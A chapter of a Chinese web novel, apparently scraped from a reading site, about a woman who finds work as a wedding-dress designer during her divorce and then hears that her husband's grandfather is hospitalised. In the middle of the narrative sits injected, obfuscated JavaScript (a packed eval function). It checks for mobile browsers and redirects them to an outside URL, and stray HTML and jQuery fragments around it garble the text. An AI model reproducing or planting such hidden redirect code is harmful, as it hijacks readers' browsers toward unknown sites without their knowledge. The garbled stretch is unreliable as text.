直到民政局愿意承认他二人的确感情破裂,就可以领离婚证。
但这条路太过漫长了,最少得好几年。
江羡纾的手停在离婚协议书上,呆愣着,久久回不过神。
她突然有点犹豫了,这条路到底该怎么走?
但要说不和盛煜安离婚,那是不可能的。
她再也不要过那种**的生活了,连花一块钱都得处处看人眼色,凭什么?
盛煜安竟然还大言不惭地说,做盛太太很风光。
好好好,那就留着这份风光给别人吧,谁爱要谁要。
江羡纾回了神,抽出服装设计书,继续在网上找工作。
时间一晃,两天过去了。
好消息传来,霍燕青还真帮江羡纾找到了一份很不错的工作,婚纱设计师。
工作要求也很简单,不需要江羡纾去上班,更不用出去抛头露面,只要有单子上门时,她帮忙设计婚纱礼服就可以了。
至于酬金,只要江羡纾设计的婚纱被选中,就能得到报酬。
相应的,如果选不中,就等于白忙活。
所以霍燕青也很犹豫,不知道江羡纾答不答应。
谁知当他把这个消息告诉江羡纾时,她却一口就答应了。
用江羡纾的话说,她对自己的设计能力有足够的信心。
再说了,她的作品如果没选上,那对方当然不需要支付报酬,到哪都是这个理,所以没什么不好意思的。
眼看江羡纾那么高兴,霍燕青也就放心了。
短短几天功夫,江羡纾就领到了第一份薪水。
也算她运气好,接到的第一个顾客是个有钱人,开出了足足五位数的报酬,只为寻找一份合适的婚纱。
在这之前,已经**掉不少作品了,但江羡纾设计的婚纱很得顾客喜欢,直接甩了五万块。
这可是整整五万块,省吃俭用的话,足够她花好几个月了。
“霍医生,我终于开张了!”
江羡纾领到薪水后,第一时间给霍燕青打电话报喜。
霍燕青也很高兴,“没想到你完成得这么出色,实在太让我惊讶了。”
“为了庆祝你的第一单生意,晚上我请客,咱们去吃火锅。”
前两天打电话时,江羡纾就一直念叨想吃火锅,但她忙着设计婚纱稿,实在抽不开时间。
今天好不容易空下来了,可不得庆祝一下吗?
江羡纾拒绝了,“霍医生,要真说请客,也应该我请你才对,要不是你帮我牵桥搭线,我上哪去找这份好工作去?”
“你就别跟我客气了,今晚六点我去医院等你,我们一起去吃火锅。”
“好。”
霍燕青也不再争执,点头答应。
挂断电话后,江羡纾心情大好。
时间还真是奇妙,就在一周前,她还为了钱愁得睡不着觉,谁曾想一周后,她就收到了整整五万块的稿费。
不是问别人借的,也没欠人情,而是她凭自己的辛苦劳动换来的。
虽然五万块也是杯水车薪,但以后日子还长着呢,她会越过越好,足够有能力抚养孩子,彻底和过去告别。
只不过,当江羡纾目光落在那已经完成的婚纱设计稿上时,心里还是忍不住一阵失落。
她和盛煜安从相知相识,走到结婚,再走到离婚,从未穿过婚纱。
当初她被盛母下药,爬了盛煜安的床,醒来后盛煜安大发雷霆,二人闹得很不愉快,一度连着好几个月话都不说一句。
盛母本想给二人办个盛大的婚礼,也不得不被迫耽搁。
最后二人只领了结婚证,办了四桌酒席,只请了双方家人和亲朋好友,除此之外再无他人知晓,就连狗仔都没闻到八卦的味道。
每个女孩子对于婚纱都抗拒不了,哪怕不以结婚为目的,多半也希望能穿一次漂亮的婚纱。
江羡纾当然也不例外,只可惜她没这个机会了。
至于以后有没有,也很难说,因为她到现在为止,也从未想过再婚的事。
江羡纾长叹口气,把婚纱稿收起来,正准备去弄点吃的,门铃被人按响了。
打开门一瞧,站在门口的是盛煜安。
“你怎么不打一声招呼就来了?”
江羡纾皱紧眉头。
</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17306721|198717||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
她好几天没见到盛煜安了,这期间二人也没联系,不知道他在忙什么。
他看起来并没什么变化,只是表情很凝重。
“我有件事要跟你说。”
“什么事儿?”
“爷爷住院了。”
江羡纾瞳孔一缩,“什么时候的事儿?”
“半小时前。”
盛煜安抬脚走进去。
盛老爷子今年都八十多岁了,身体一直不是很好,年前还被查出冠心病和其他并发症。
虽然有顶级医生帮他制定治疗计划,但他毕竟八十多岁了,身体机能接近极限,轻易做不了手术,医生也没什么好办法,只能保守治疗。
“爷爷怎么会突然发病?”
江羡纾很不解,“医生不是说过吗,爷爷只有在情绪激动时才会发病,出什么事了?”
盛煜安低着头,声音发闷,“爷爷知道我们要离婚的事了。”
江羡纾脑子嗡的一声,愣在原地,心中涌出一股浓烈的愧疚。
自从她跟盛煜安提离婚后,一共去盛家吃过两次饭,从头到尾,盛老爷子都不知道他俩要离婚了。
上次回去时,老爷子知道江羡纾怀孕,高兴得不得了,仿佛一下子年轻了好几十岁,满面红光,精神抖擞,走路都比平时更有劲。
但仔细算算,这还不到半个月,竟然就进医院了。
好半天,江羡纾才找回自己的声音,“爷爷是怎么知道的?”
“不清楚。”
“不清楚?”
江羡纾更诧异了。
“你怎么会不清楚?”
“我真不知道怎么回事。”
盛煜安眉头皱得紧紧的,“你也不必用一副审犯人的口吻来审问我,我比任何人都不希望爷爷知道这事。”
他今天照常在公司上班,半小时前接到管家电话,说老爷子忽然晕过去了,心脏病发作,吃药也不管用,送医时脸色青紫,出气多进气少。
盛煜安赶紧停了工作赶回来。
他本想直接去医院路上,却接到盛母电话,让他务必带着江羡纾一起来医院。